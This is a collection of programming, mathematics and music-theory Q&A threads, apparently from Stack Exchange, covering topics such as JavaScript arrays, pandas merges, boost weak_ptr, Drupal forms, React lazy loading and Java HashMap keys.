Como posso criar um array em JavaScript

Question: Olá
Começei recentemente a usar esta plataforma para tentar esclarecer algumas dúvidas e estou a ter algumas dificuldades em criar arrays para armazenar dados através de Javascript.
Penso que o erro seja algo simples no entanto não consigo determinar o que é.

 carros = ["Fiat", "Ferrari", "Toyota"];

agradeço toda a ajuda desde já que for fornecida.
Comment: Se o problema era criar um array, parabéns ,vc já criou. Só dar um console.log(carros) que verá o array. Pode dar um **carros.length** par ver o tamanho do array entre outras muitas coisas que podem ser feitas.
Comment: Qual é exatamente a sua questão ? Você colocou o código javascript no snippet como html, e por isso o código aparece escrito na tela, pois normalmente nada iria aparecer. Criar um array não implica mostrar nada em lado algum.
Comment: Esse array que você colocou pode ser acessado assim: ```carros[0]``` (irá retornar o primeiro índice do array), e assim por diante. Você acessa os elementos do array usando colchetes, com o primeiro índice sendo o 0 (zero).
Comment: Não me soube explicar muito bem mas o usuário @DavidMv já me conseguiu ajudar neste caso. Porém agradeço as informações dadas para futuras perguntas nesta plataforma :)
Answer: Olá
Caso queiras armazenar em diferentes variáveis podes utilizar esta função:

var carro1 = "Fiat";
var carro2 = "Ferrari";
var carro3 = "Toyota";

caso queiras por tudo dentro da mesma variável podes fazer desta forma:

var carros = ["Fiat", "Ferrari", "Toyota"];

ou desta:

var carros = [
        "Fiat",
        "Ferrari",
        "Toyota"
        ];

Podes usar para te ajudar com a programação este site: W3Schools
Answer: Você apenas esqueceu de por o var, no inicio, Exemplo.:
var carros = ["Parati", "Ferrari", "BMW"]

Você também pode usar o let
let carros = ["Parati", "Ferrari", "BMW"]

Como posso criar um array em JavaScript


Combining Pandas Dataframe with indexed value as column name

Question: Given the following two pandas DataFrames:
main_table = pd.DataFrame([[1, 'A'],
                           [2, 'B'],
                           [3,'C']],
                           columns=['id', 'label'])

extras_table = pd.DataFrame([[1, 'e1', 'e1_Val'],
                             [1, 'e2', 'e2_Val'],
                             [2, 'e2', 'e2_Val2'],
                             [3, 'e1', 'e1_val3']],
                             columns=['main_id', 'col_label', 'value'])

I want to use the 'main_id' column of extras_table, and 'col_label' to create additional columns on main_table.  i.e.:
result:
   id label       e1        e2
0   1     A   e1_Val    e2_Val
1   2     B     None   e2_Val2
2   3     C  e1_val3      None

Note that some of the rows may not have all of the new columns.  Is this possible in Pandas, without iterating over extras table, and adding the new columns/values?
Answer: xdf = extras_table.set_index(['main_id', 'col_label']) \
    .unstack().value.reset_index('main_id')

main_table.merge(xdf, left_on='id', right_on='main_id').drop('main_id', axis=1)


Boost weak_ptr's in a multi-threaded program to implement a resource pool

Question: I'm thinking of using boost::weak_ptr to implement a pool of objects such that they will get reaped when nobody is using one of the objects.  My concern, though, is that it's a multi-threaded environment, and it seems there's a race condition between the last shared_ptr to an object going out of scope and a new shared_ptr being constructed from the weak_ptr.  Normally, you'd protect such operations with lock or something; however, the whole point here is that you don't know when the shared_ptr might be going out of scope.
Am I misunderstanding something about boost::shared_ptr and boost::weak_ptr?  If not, does anybody have any good suggestions on what to do?
Thanks.
Andrew
Answer: To use a weak_ptr, you normally have to grab a strong reference by constructing a shared_ptr with it. This last step is atomic: you either get a strong reference back, or you get a bad_weak_ptr exception thrown. (Alternatively, call lock() on the weak_ptr, and either get a strong reference or null.)
Example (with lock(); easy enough to adapt to the other style):
void do_something(weak_ptr<foo> weak) {
    // Grab strong reference
    shared_ptr<foo> strong(weak.lock());
    if (strong) {
        // We now have a strong reference to use
    } else {
        // No strong references left; object already freed
    }
}

Comment: I believe there's no need to test whether your shared_ptr is valid or not, because the constructor will throw bad_weak_ptr exceptions if your week_ptr points to the deleted object. Or you should use weak_ptr::lock() which doesn't throw but can return a shared_ptr which points to NULL.
Comment: So it's atomic?  The Thread Safety section in the man page leaves some doubt in my mind.
Comment: @Serge: Thank you! I'm going to fix my post.
Comment: @ChrisJester-Young, would mind having a look at my post: http://stackoverflow.com/questions/9948113/boostweak-ptrt-lock-crashes-with-a-sigsegv-segmentation-fault ? My `weak_ptr.lock()` method itself crashed.
Answer: Both boost::weak_ptr and boost::shared_ptr are similar if it comes to thread safety: they are not thread safe if there is a risk that object is going to be destroyed somewhere. If your object referenced in boost::shared_ptr or weak_ptr is being referenced permanently somewhere, then use can use shared/weak ptrs without any risk.
But if some operation is going to dereference the last living instance of object, then at that time you cannot do some operations on weak_ptr: in particular: you cannot assign weak_ptr to another weak_ptr because it uses shared_ptr internally. Also, you cannot use lock because the result is undefined. Also, expired() method is useless to: it may return true, but then next line of your code, your object might be already expired.
Answer: Yes, ish. In terms of accessing the pointers, Boost should have made everything safe; that's part of their point.
However, if you're expecting to have a delay between when the last shared_ptr goes out, and when you want to make the next one, you'll get a null pointer. (If you're checking appropriately, you should then have an appropro fail case).
But you can't end up with an invalid shared_ptr


add active class to bootstrap tab on button click

Question: I have one button and bootstrap tab.

on click of button want to add class active to first tab element.

I'm generating all tab elements dynamically , and want to active only very first tab element on button click.
    MyButton

div1

div2

Answer: Here is a JSFiddle, clicking the button you have the first tab with class active:
HTML:

div1

div2

<button class="btn btn-default clickme">Click</button>

JS:
$(document).ready(function () {
    $('.clickme').click(function () {
        $('.nav-tabs li:first').addClass('active');
    });
});

Answer: try this:
$('#MyButton').click(function() {
 $('.nav-tabs a:first').tab('show');
});


.htaccess mod_rewrite mindblock

Question: I've been having trouble with the ModRewrite on how to appropriately hide query string parameters. Basically something like this..
from:
http://localhost/index.php?page=news&=request=somepage&id=100&sort=asc

to:
http://localhost/news/somepage/id/asc

I've attempted to do different variations with it but to no success. For now I make do with revealing query paramaters from the url which is what I'm trying to avoid.
Answer: Something like this
in .htaccess file write:
RewriteEngine on
RewriteBase /
RewriteRule ^([^/\.]+)/([^/\.]+)/([^/\.]+)/([^/\.]+)/?$ index.php?page=$1&=request=$2&id=$3&sort=$4 [L]

Also for better using with images, stylesheets, scripts etc. I recommend to add <base href="index.php"> in  tag at all pages in your site.
Comment: Forgot to mention that some assets wont load like images and stylesheets because of the directories (I've done the same but with a different RewriteRule)..
Comment: I've edited my answer, try to add RewriteBase in your .htaccess file
Comment:  actually worked for me without declaring RewriteBase, although for it to work relatively I will have to work on adopting  for deep addresses. Thanks :)

.htaccess mod_rewrite mindblock


Why Orlando Gibbons is considered "the end of modality, the beginning of tonality"?

Question: According to Glenn Gould (minute 28:20), Orlando Gibbons represents

the end of modality, the beginning of tonality

Can anyone deepen the meaning of this? Could you please point to a specific musical passage or phrase by Gibbons thanks to which we can award him this merit?
I'm totally new to the work of this composer and never had the opportunity to play anything from him: I'd like to understand the importance of his music from an historical and analytical perspective.
Comment: what do you know about modes and keys so far?  do you understand that the major scale effectively came to replace modes altogether?
Comment: I've studied and perfectly know the tonal system: I'm almost a total ignorant on what comes before and how it was invented.
Comment: As the answers to [my question](http://music.stackexchange.com/questions/8286/is-there-a-piece-of-music-that-inaugurated-beethovens-middle-period-and-thus) indicate, there may not a be a single piece which marks the change. It may refer to many little developments, which add up to this broad summary of his life.
Answer: There's no specific passage.
Gould suggests that Gibbons introduced the idea of modulation (as we'd call it in tonal terminology;  Gibbons had no word for it).  In a mode, you don't "change keys" as such:  you just finish one piece, and then start chanting another in a different key, ahem, mode.  That's why, in the middle of a piece of Gregorian chant, you don't ever see a fresh clef (i.e., key signature).  Sure, plainchant has the occasional 'B flat', but that's hardly as harmonically sophisticated as Bach presenting a melodic idea in D major and again eight bars later in A major.
Answer: Gould's statement is (at a minimum) hyperbole, since there is no single composer or even a single historical period which one can justifiably call "the end of modality" or "the beginning of tonality".  The practices which we lump together as "common-practice tonality" emerged from a very long historical process of change that arguably begins in the 14th century, if not earlier, and of course continued in the nineteenth and twentieth centuries.  Nor is it really obvious any more that there is a clear opposition between two different systems called "modality" and "tonality".
That said, Gibbons (1583–1625) lived during a period – the end of the 16th and beginning of the 17th century – which is often associated historically with the beginning of certain "modern" ways of thinking about harmony.  More typically, these are associated with his Italian contemporaries – most notably Monteverdi – and with the newly "chordal" way of conceiving music brought about by the beginnings of basso continuo (figured bass), as well as the new harmonic practices permitted by the seconda prattica of madrigal and opera.
As an English composer primarily of polyphonic music, Gibbons has little direct connection to these new practices.  Yet there are some features of his music which connect naturally to later "tonal" ways of organising harmony.
Several Gibbons fantasies organise their points of imitation into a circle-of-fifths sequence, so that successive entrances bring in the same melody successively in different "keys" – for instance, successively "in A major", "in D major", "in G major", etc.  Examples occur in the keyboard fantasy in G minor, the fantasy for "double organ", and at least two of the three-part consort fantasies.  Circle-of-fifths motion is, of course, a very common technique in the later Baroque.  The more standard use of imitation would be to create tonal stability through entrances on only two notes, usually the first and fifth scale degrees, although there are plenty of earlier precedents for Gibbons's technique: for example, there are motets by Palestrina with similar sequentially imitative sections.  As usual, it is difficult to point to a single composer or composition as the definitive origin.
Some people have also remarked that Gibbons's use of the major mode in his C- and G-final pieces seems subjectively very close to our expectations for "C major" and "G major".  Examples of this would be the keyboard prelude in G and the two keyboard fantasies in C.  The prelude in G, in particular, is another piece in which the circle of fifths dominates, in this case because of the continual succession of cadences rather than an imitative scheme.  Whether Gibbons's practice in these pieces is really more "modern" or "tonal" in its orientation than that of his predecessors and contemporaries is difficult to say with certainty, but it is an impression that several people besides Gould have expressed.  (I apologise for not having a citation to hand).
If you can get access to JSTOR through a library or university, you might be interested to read Candace Bailey's paper on Orlando Gibbons, Keyboard Music and the Beginning of the Baroque, which discusses the keyboard prelude in G in particular.  She also writes that Gibbons's music was copied into manuscripts disproportionately often in the years after his death by other English organists, which may suggest that they, too, found something more "forward-looking" about his music than that of his immediate contemporaries.


What are these special functions?

Question: I'm writing the documentation for my esoteric language Whispers, which specialises in mathematical functions. I've come across the following function which I'm not sure exactly which special function it is, and I can't remember where I found the definition. The code is
<code>def Lc(z):
    return z*ln(2*sin(z*π)) + S(τ*z, 2) / τ

def S(a, b):
    f = lambda k: math.sin(k * a) / k ** b
    return Σ(f, [1, math.inf])
</code>
which, in $\LaTeX$ is
$$\text{Lc}(z) = z\ln(2\sin(z\pi)) + \frac{S(\tau z, 2)}\tau \\
S(x, 2) = \sum_{k=1}^\infty \frac{\sin(kx)}{k^2}\\
\text{Lc}(z) = z\ln(2\sin(z\pi)) + \frac{1}\tau \sum_{k=1}^\infty \frac{\sin(\tau kz)}{k^2}$$
Looking through lists such as this or this haven't yielded anything.
$S$ appears to be a related function/extension of the $\text{sinc}$ function, but again, googling around hasn't found anything.
Does anyone recognise either $\text{Lc}(z)$ or $S(a, b)$?
I do also have the derivatives and anti-derivatives of both the functions, and the full source code of them can be found here ($\text{Lc}$) and here ($S$)
Comment: By $\tau$, do you mean $2\pi$?
Comment: @J.G. Yes, $\tau = 2\pi$
Answer: For $S(z, 2)$ have a look at the dilogarithm. For other $S(z, b)$, the polylogarithm.
Comment: That's helped me find the definition for $S(x, 2)$: a generalised [Clausen function](https://en.wikipedia.org/wiki/Clausen_function#General_definition)
Comment: @cairdcoinheringaahing: happy to hear that!
Answer: $S(a,\,b)=\sum_{k\ge1}\frac{\sin(ka)}{k^b}$ is a generalized Clausen function, typically denoted $S_b(a)$. In terms of the Clausen function $\operatorname{Cl}_2=S_2$, $\operatorname{Lc}(z)=\tfrac{1}{\tau}\operatorname{Cl}_2(z\tau)-z\operatorname{Cl}_2^\prime(z\tau)$.

What are these special functions?


Change field requirements on validation?

Question: I am new to Drupal so forgive my newb question.
I am trying to remove the required true from a form field if a user clicks on a certain button  so i tried to do it via form validaiton:
<code>$form['#validate'][] = 'my_from_after_build'; //Calls function

function canvas_from_after_build($form, &$form_state) {
  echo "this is the form after building";
  $form['field_title_tag_list_article']['widget'][0]['#required'] = FALSE;
  return $form;
}
</code>
but it still gives a "this field is required" error.
Comment: Welcome to Drupal Answers :) If your requirements allow for it, it might be easier to set required to false by default, and check the opposite condition in the validate handler. Otherwise you're fighting against the existing validation methods. You might get away with inserting your validate function at the start of the `$form['#validate']` array, passing the `$form` in by reference to the validate function, and altering it there. But even if it does work it's a bit of a hack
Comment: Have you looked into using `#states`? Check out https://www.lullabot.com/articles/form-api-states
Answer: The validation function in the Form API is meant to evaluate the user input and report the errors back to the user if any.
You could change your logic in this way to facilitate your implementation:
 - The field _field_title_tag_list_article_ is not required by default
 - In the validation function, you would check whether the value of a second field (i.e. _field_validate_titles_) is set to a given value (i.e. _field_validate_titles_ == 'needs validation').
It would look something like this:
<code>if ($form_state['values']['field_validate_titles'] == 'needs validation' &&
  empty($form_state['values']['field_title_tag_list_article'])) {
  form_set_error('field_title_tag_list_article', t('The title tags are required.'));
}
</code>
You could download the Drupal Examples modules and install the _form_example_ module, then check the example number 6.
Advice for new users
In general, I suggest you browse the examples so that you are familiar with this handy reference.
Quite often, you will find that someone else had the same problem before. Sometimes, there is a community contributed module that solves your problem.
In your particular case, the conditional fields module could help you accomplish your goal without having to write a single line of code:

Conditional fields module page.
Conditional fields module documentation.


building a program without needing to .glade source

Question: I am programming something using C and Gtk+ library via Glade
I'm Compiling with a "makefile" methode and everything it is ok
but when I change the application.exe folder (like sending it to my friend) the application doesn't work
my question is there any way to compile it without needing to the glade file in the same folder?
Answer: Yes, check out GResource, which lets you embed files such as a Glade file into your executable.
Comment: `add_from_file` isn't going to work unless the file is in the right place. You need `add_from_resource`.
Comment: There's an example of including files in a GResource in the GTK sample sources: https://gitlab.gnome.org/GNOME/gtk/-/tree/master/examples/bp
Comment: can you give me a simple example
assume
 GtkBuilder *builder;
     builder = gtk_builder_add_from_file("glade/main_window.glade");
does this work ?
Comment: and thank you by the way for giving a hand of help
I am not native English speaker sorry
Comment: or if you have any tutorial to learn about currently gtk versions
Comment: it doesn't work with .glade file
Comment: can you give some hints please
Comment: okey thanks and sorry


Definir um discador como padrão

Question: eu já tenho um app simples que apenas faz a ligação a partir do momento que clica em um botão  que realiza a chamada,
 eu quero tornar este app como padrão no Dialer para que toda vez que eu clique no botão  "Call" padrão do telefone  ele abra meu app,
ou seja; torna-lo padrão dentro dele.

estou usando a api 23
dentro do Configurações/app/configurações padrões  meu app não aparece

minha dúvida é como faço para ele aparecer ali  ? que código eu coloco ?
não consegui achar nada sobre isso, gostaria de uma ajuda, obrigado..
Answer: Vá em Configurações -> Aplicativos -> Gerenciar Aplicativos.
Selecione a guia "Todos" e vá até o aplicativo de discagem atual.
Procure o botão "Limpar predefinições" e aperte. Agora, quando você seleciona discagem, você deve ser solicitado a selecionar um aplicativo específico e também ter a oportunidade de definir um novo padrão.

Definir um discador como padrão


Dynamic regression and prewhitening

Question: I'm working on a time series forecasting problem where sales needs to be predicted using weather variables. The weather variables are auto correlated and hence pre-whitening is needed to find the true relationship between each of the input variables with the target variable. I didn't come across a complete end to end process that needs to be followed. Based on my understanding, below is the detailed process. Kindly take a look at it and let me know if the approach is right or not. I am doing this in SAS and am using PROC ARIMA

Fit an ARIMA model to the input variable. Use this model to filter both the input and target time series and compute the cross correlation plot between them. The code for the same is as follows:
proc arima data=in;
identify var=temp;
estimate p=1 q=1;
identify var=sales crosscorr=temp;
run;

If the CCF plot shows significant correlations at positive lags, the variable has an effect and can be used in the final model. Formulate the transfer function based on the CCF plot
Repeat steps 1 and 2 for all the input variables
If you feel the input variables are correlated among themselves, select one input variable as x variable and another input variable as target variable and repeat step 1. If the CCF shows only lags at 0, the two variables are highly correlated and one of them can be dropped from the final model for predicting the sales
Fit a model for the target variable( find p and q values) and use them along with the transfer functions for all the input variables identified
proc arima data=in;
identify var=sales;
estimate p=1 q=1
         input = ( $(1)   temp
                   /(1 3) humidity);
identify var=sales crosscorr=temp;
run;

Forecast and see the model's performance metrics and fine tune if needed
Answer: In a regression model it is the error (rather than the regressors) that we require to be non-autocorrelated. Autocorrelated regressors are OK; e.g. an AR($p$) process can be consistently estimated by OLS even though all the $p$ regressors as well as the response are autocorrelated. I am not sure whether you can reach your goal of [finding] the true relationship between each of the input variables with the target variable if you first transform your input variables. The relationship you will then find will be between transformed rather than original variables, which may complicate the interpretation.
Also, if you are interested in forecasting then you may not care much about finding the true relationship between each of the input variables with the target variable; instead, high forecast accuracy seems to be the relevant goal.
Comment: Sorry for a very late response. The objective of the above analysis is find out what drivers/variables in weather have an impact on the sales. And forecasting is done to measure the accuracy of the model developed. IMO, if pre-whitening is not done, spurious correlations are found between the input and target variables. So isn't it required?
Comment: Well, as I said, by changing the original variables you would have to change the interpretation accordingly. You would find relationships between *transformed* variables, and that may be more difficult to interpret. It might be difficult to distinguish between what is "genuine" and what is "spurious". Also, transfer function modelling might very well be suitable for autocorrelated variables, if I am not mistaken. But I may be unaware of some standard practices common in your industry, so take my opinion with a grain of salt.
Comment: Thanks for your inputs. It is very much appreciated. I just started working in time series forecasting and everything I found so far is by going through few articles. I'll consider your suggestion and see how it works out.

Dynamic regression and prewhitening


Showing that a system of equation is inconsistent

Question: When working out this system of equations, I've found that there are no solutions.
Is there any way from the start you can Identify that this system of equations has no solutions?
$2x + y − z + u = 1$
$3x − 2y + 2z − 3u = 2$
$5x + y − z + 2u = −1$
$2x − y + z − 3u = 4$
Comment: Just looking at it, the z coefficient equals the negative of the y coefficient in all 4 equations.  This means that it will be impossible to isolate y and z by elementary row operations.  The equations are linearly dependent.  This means that there will not be a unique solution, but is not sufficient information to know whether there are infinitely many or no solutions.
Comment: You just create the augmented matrix and row reduce to Row reduced echelon form, inconsistent systems have a non zero entry in the augmented column with zeros in the non augmented row before it
Comment: So is there no way of looking at it and determining that it is inconsistent?
Comment: Not that I know of, usually having more or less equations than variables is only an indication of non-uniqueness of the solution. Some special cases might be easy like if two equations are the same but with different right hand sides
Comment: His however might help guide you http://math.oregonstate.edu/home/programs/undergrad/CalculusQuestStudyGuides/vcalc/system/system.html
Answer: The only way is to form the matrix of the system and do row reductions: $$ \left[
    \begin{array}{cccc|c}
      2&1&-1&1&1\\3&-2&2&-3&2\\5&1&-1&2&-1\\2&-1&1&-3&4
          \end{array}
\right] $$

For fewer variables, sometimes you can try to graph them out to see whether the lines are intersecting, same, or parallel, and from there you can decide if the system if consistent. But in this case where there are four variables, obtaining the row-echelon form would probably be the fastest way.
Comment: That is an excellent way, but it is certainly not the *only* way. You do not need to use matrices at all.


Is there any documentation for the UUID module?

Question: I think I need to utilize the UUID module to make universal ID's for some taxonomy terms. However, after installing the module it doesn't seem to do anything and the configuration interface has only one button that does nothing.
I can't find any helpful articles, tutorials, or documentation for this module. Anybody have any suggestions?
Answer: UUID is an "API" module. It wont do anything out of the box. It is for other modules to use the functionality provided by UUID.
See the module's README.txt file:

This module provides an API for adding universally unique identifiers (UUID) to Drupal objects, most notably entities.
FEATURES

Automatic UUID generation:    UUIDs will be generated for all core entities. An API is provided for other    modules to enable support for custom entities.    See https://www.drupal.org/node/2387671
UUID API for entities, properties and fields:    With this unified API you can load entities with entity_uuid_load() so that    all supported properties and fields are made with UUID references. You can    also save entities formatted this way with entity_uuid_save() (depends on Entity API).
Export entities to use as default/demo content:    The integration with Features module provides the ability to export UUID enabled entities with intact dependencies and references to other entities.  This functionality depends on Deploy module 7.x-2.0-alpha1 (soon to be    released) and is probably the most robust way for installation profiles and    distributions to provide demo content!
Services integration:    The integration with Services module alters all UUID enabled entity resources    (nodes, users, taxonomies etc) to be based on UUIDs instead. This way it   becomes easier to share and integrate content between sites. This   functionality is used by Deploy module.
More integrations:    UUID module integrates with Views, Token, Rules and provides some CTools  plugins.
Comment: Both links 404. Can please update them or better yet, provide a more thorough answer rather than just links?
Comment: Removed dead links, added README.txt content (I hope it's enough).


Why lazy loading doesn't work in my react project?

Question: I have a project: link.
The project has router and lazy-components for every page.
Short example router-component:

export const RoutersComponent = () => {
  return (
    <HashRouter basename={'/'}>
      <Routes>
        <Route
          path="/"
          element={<Navigate replace to={routerConfig.log.url} />}
        />
        <Route
          path={routerConfig.reg.url}
          element={<LazyRegistrationPage />}
        />
        <Route
          path={routerConfig.log.url}
          element={<LazyLogginPage />}
        />
      </Routes>
    </HashRouter>
  )
}

Full component router on link.
Short example lazy-component:
Folder src/pages/registration
File index.js
export * from './registration'
export * from './lazy'

File lazy.js
import { Suspense, lazy } from 'react'
import { Loading } from '../../components'

const Registration = lazy(() =>
  import('./registration').then((module) => ({
    default: module.Registration
  }))
)

export const LazyRegistrationPage = () => {
  return (
    <Suspense fallback={"Loading..."}>
      <Registration />
    </Suspense>
  )
}

Short file registration.js:
export const Registration = () => {
  return (

      Registration

  )
}

Full component registration on link
I use library:
"react": "^18.1.0",
"react-dom": "^18.1.0",
"react-router-dom": "^6.3.0",

If i start command:
npm run build

then i will get one file ***.js
But why???
In my short project everything is working:
import { Suspense, lazy } from "react";
import "./App.css";

const A = lazy(() =>
  import("./A").then((module) => ({
    default: module.A,
  }))
);

const LazyA = () => {
  return (
    <Suspense fallback={"loading..."}>

    </Suspense>
  );
};

const B = lazy(() => import("./B"));

const LazyB = () => {
  return (
    <Suspense fallback={"loading..."}>

    </Suspense>
  );
};

function App() {
  return (
    <>

hello

      <LazyA />
      <LazyB />
    </>
  );
}

export default App;

After build I have 4 file ***.js.
I don't understand.
Comment: The way you are trying to code-split/lazy-load seems a little unconventional. Even more so with the routing code. Check the [official example](https://github.com/remix-run/react-router/tree/dev/examples/lazy-loading) to see if you can get something that aligns more with the established pattern.
Comment: i repeat from this link and dont work
Answer: As is often the case, when you ask something that no one wants to understand, you find the answer yourself.
If you make a checkout for this commit "7089bce" in the project in the "main" branch, then you can find the file "index.js" on this path "src/pages/index.js". If shorter:
git clone https://github.com/tyt34/postcomm.git
git checkout 7089bce
vim src/pages/index.js

The contents of which:
// file on path: src/pages/index.js
export * from './all-posts-page'
export * from './all-users-page'
export * from './loggin'
export * from './post-page'
export * from './profile-page'
export * from './registration'

Due to such an import architecture, there was a problem with the lazy loading.
That is, it does not matter that in the end such a page component as:
export const Registration = () =>
Example

Used in lazy loading as a module, for example:
const Registration = lazy(() =>
  import('./registration').then((module) => ({
    default: module.Registration
  }))
)

export const LazyRegistrationPage = () => {
  return (
    <Suspense fallback={<Loading />}>
      <Registration />
    </Suspense>
  )
}

The  "index.js" file that was shown above crossed out everything.


Swedish character issue

Question: I have a requirement where we need to fetch data using ajax and display in drop down which may contain Swedish characters.
In IE Swedish characters are shown as square box, if i read it again using JavaScript it is showing as �
I have used encoding html content UTF8 as below.
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

If i display same data or character on html page directly, it showing correctly. Problem occurs only when JavaScript comes into picture.
All inputs are appreciated.
Answer: You probably need this:
<meta http-equiv="content-type" content="text/html" charset="ISO-8859-1" />

Comment: Read more here... http://stackoverflow.com/questions/1365526/swedish-characters-and-utf-8
Comment: Tried this as well, but problem still persists.
Answer: � is definitely not a Swedish character, but a special unicode codepoint that is used as replacement for a character whose value is unknown or unrepresentable in Unicode. What is likely happening is that your data is not being transmitted with the proper encoding indicated in its transmission header (or as part of the data, if it's marked up data).
Comment: true! changed header transmission encoding using `response.setContentType("text/html;charset=utf-8");` and it solved the problem.

Swedish character issue


Converting and save images as JPG in IMCE module during uploading?

Question: How to convert PNG to JPG when user upload images with IMCE ?
This is neccessary for disk space optimization. If it is possible to convert with any module or to execute Image Style tell me please.
Answer: It can be done in this way:

download ImageCache Actions module and enable Color Actions    module
create image style "Change file format Convert to: jpg"
download and install IMCE Image Style module
on the IMCE Image Style administration page select necessary style

And we need to add custom submit function
<code>/**
 * Implements hook_form_FORM_ID_alter().
 */
 function mymodule_form_imce_upload_form_alter(&$form, &$form_state, $form_id) {
   array_unshift($form['fset_upload']['upload']['#submit'], "mymodule_upload_form_submit");
 }

/**
 * Change uploaded image extension.
 */
 function mymodule_upload_form_submit($form, &$form_state) {
   if ($_FILES['files']['type']['imce'] == 'image/png' &&    $form_state['values']['imce_image_style']['optimize_image'] != '0') {
      $_FILES['files']['name']['imce'] = str_replace('.png', '.jpg', $_FILES['files']['name']['imce']);
   }
 }
</code>
Comment: thank you. IMCE Image Style really execute Image Style that I've made that has name "tojpg" and convert png to jpg very well. But my module with your code does not rename files, the extension rests .png. I remove code "&&    $form_state['values']['imce_image_style']['optimize_image'] != '0'" but anyway extensin rests .png. please how to correct this. and more questions^ How to mark up my Image Style by default? And how to hide this options for no-admin users that they cannot disable conversion?
Comment: and tell me please how to use Devel function to view this variables? when I add the line dpm($_FILES); it does not show me info cause modal window hides quckly
Comment: "But my module with your code does not rename files, the extension rests .png. I remove code "&& $form_state['values']['imce_image_style']['optimize_image'] != '0'" but anyway extensin rests .png" it is strange, all work fine for me. Maybe you have made typo somewhere? Try to use 'watchdog' function in order to check if your custom code is executed.
Comment: I paste dpm() function and it show any message in modal window so I can say: my module works. but has no effect.
Comment: is it neccessary to hane IMCE Upload or  may be IMCE plupload is ok? i'm using 2nd
Comment: I use default IMCE button in WYSIWYG editor
Comment: oh! yes it works. but not with IMCE plupload. Now i set up IMCE Uploader instead so please how to use hook_imce_uploader_alter() https://www.drupal.org/project/imce_uploader  ?
Comment: Sorry, but I use Wysiwyg module and IMCE Wysiwyg bridge module


How to access hashmap object with class object as key

Question: I want to make a program that updates the hashmap depending on the user input commands. How can I remove/update specific element of a hashmap by passing id variable of Student class as user input?
This is what I got so far:
class Student{
String name;
String secondname;
int id;
public Student(String name,String secondname,int id){
    this.id = id;
    this.name = name;
    this.secondname=secondname;
}

public int getId(){
    return this.id;
}

@Override
public String toString() {
    return "Second Name: "+ this.secondname+ " Name: "+ this.name+ " ID: "+ this.id;
}

@Override
public boolean equals(Object o) {
    if(this==o){
        return true;
    }
    if (o==null){
        return false;
    }
    if(getClass() != o.getClass()){
        return false;
    }
    Student obj = (Student) o;
    if (secondname == null) {
        if(obj.secondname!= null){
            return false;
        }
    }
    else if(!secondname.equals(obj.secondname)){
        return false;
    }
    if(name==null){
        if(obj.name!=null){
            return false;
        }
    }
    else if(!name.equals(obj.name)){
        return false;
    }
    if(getId()==0){
        if(obj.getId()!=0){
            return false;
        }
    }
    else if (getId()!=obj.getId()){
        return false;
    }
    return true;
}

@Override
public int hashCode() {
    final int prime = 31;
    int result = 1;
    result= prime*result+id;
    return result;
}

public class Main {

public static void main(String[] args) {
    HashMap<Student,String> studentmap = new HashMap<>();
    Student myname = new Student("Name","SecondName",1234);
    Student mrx = new Student("Mr","X",2077);
    Student msx = new Student("Ms","X",1111);
    studentmap.put(myname,"A");
    studentmap.put(mrx,"C");
    studentmap.put(msx,"B");
    while (true){
        Scanner scan = new Scanner(System.in);
        String x= scan.nextLine();
        if (x.equals("add")){
            System.out.println("Who do you want to add? ");
            String y= scan.nextLine();
            String [] splitted = y.split("\\s+");
            studentmap.put(new Student(splitted[0],splitted[1],Integer.parseInt(splitted[2])),splitted[3]);
        }
        if(x.equals("remove")){
            System.out.println("Who do you want to remove?");
            String z= scan.nextLine();
            int theid = Integer.parseint(z);
            studentmap.remove(theid); // adding and printing works but this is what I have problem with
        }
        //if (x.equals("update")){
            //String e= scan.nextLine();
            //String [] splitted = e.split("\\s+");
            //int theid = Integer.parseint(splited[0])
            //studentmap.replace(theid,splitted[1]);
        //}
        if(x.equals("print")){
            studenci.entrySet().forEach(entry->{
                System.out.println(entry.getKey() + " Grade: " + entry.getValue());
            });
        }
        if (x.equals("end")){
            break;
        }
    }
}

The way I want this program to work is to make the user type a command like "delete", then make him type ID ex."1234" and then remove a hash map object whose Key's ID is 1234.
EDIT:
My assignment roughly translated to english:
Make a program using a map which keys are Student class objects (with fields: name ,secondname, id ), and the values are grades.
Program should allow the user to add, delete, update the grade and print the students list. In case of deleting and updating look up the object by ID.
Comment: Whatever the values A, B, and C represent, they would probably be better off stored in the Student object itself, then make your map of `` so you can look up the whole Student object by id.
Comment: The point is that Student has to be hashmaps' key because that's what my school assignment wants me to do. A B C are just grades that I have to pass as hashmap value
Comment: Be careful when you use a potentially mutable object as key into a `HashMap`. Unexpected behaviour can be exhibited when a hash map key is mutated. See also [Are mutable HashMap keys a dangerous practice?](https://stackoverflow.com/questions/7842049/are-mutable-hashmap-keys-a-dangerous-practice) Fortunately, the `Student` class doesn't have any public mutator methods at the moment, but if these are ever added, for example to change a student's name, then this should be taken into account.
Answer: It'd make more sense to change:
HashMap<Student,String> studentmap = new HashMap<>();
Student myname = new Student("Name","SecondName",1234);
Student mrx = new Student("Mr","X",2077);
Student msx = new Student("Ms","X",1111);
studentmap.put(myname,"A");
studentmap.put(mrx,"C");
studentmap.put(msx,"B");

Into:
HashMap<Integer,Student> studentmap = new HashMap<>();
Student myname = new Student("Name","SecondName",1234);
Student mrx = new Student("Mr","X",2077);
Student msx = new Student("Ms","X",1111);
studentmap.put( yname.getId(),myname);
studentmap.put(mrx.getId(),mrx);
studentmap.put(msx.getId(),msx);

Then when someone types 'remove', followed by the Id, you can delete like you want/wrote:
studentmap.remove(theid); // remove student 'myname' if 1234

Answer: You have to "find" the key from the Map<Student,String> first, which matches the id you have. After that you can use it to remove the entry from the Map<Student,String>. The code might look like this:
Student s = null;
for(Student k: studentmap.keySet()) {
    if (k.getId() == theid) {
        s = k;
        break;
    }
}

This will find you the key in the Map. After that you can remove the entry:
if (s != null) {
    studentmap.remove(s);
}


Determine the values of parameter m so that...

Question: Please , can you verify only if the exercise is right?
We have the function with domain and range in $\mathbb{R}$, $f(x)=mx-ln(x^2+1)$. Determine the values of "$m$" so that the function is decreasing on $\mathbb{R}$.
The derivative of $f(x)=m-(2x)/(x^2+1)$
In order to make the function decrease on $\mathbb{R}$ , the derivative should be less than zero for every $x$ that belongs to $\mathbb{R}$.
$\dfrac{m-(2x)}{(x^2+1)}<0$
$mx^2-2x+m<0$
So $m>0$ and the discriminant should be less than zero
$D=4-4m^2<0$
$m$ belongs to $(-\infty; -1)$ in reunion with $(1,\infty)$
Is it right?
Answer: (Almost) as in your solution, we want to find $m$ such that $m-\frac{2x}{x^2+1}\le 0$ for all $x$.
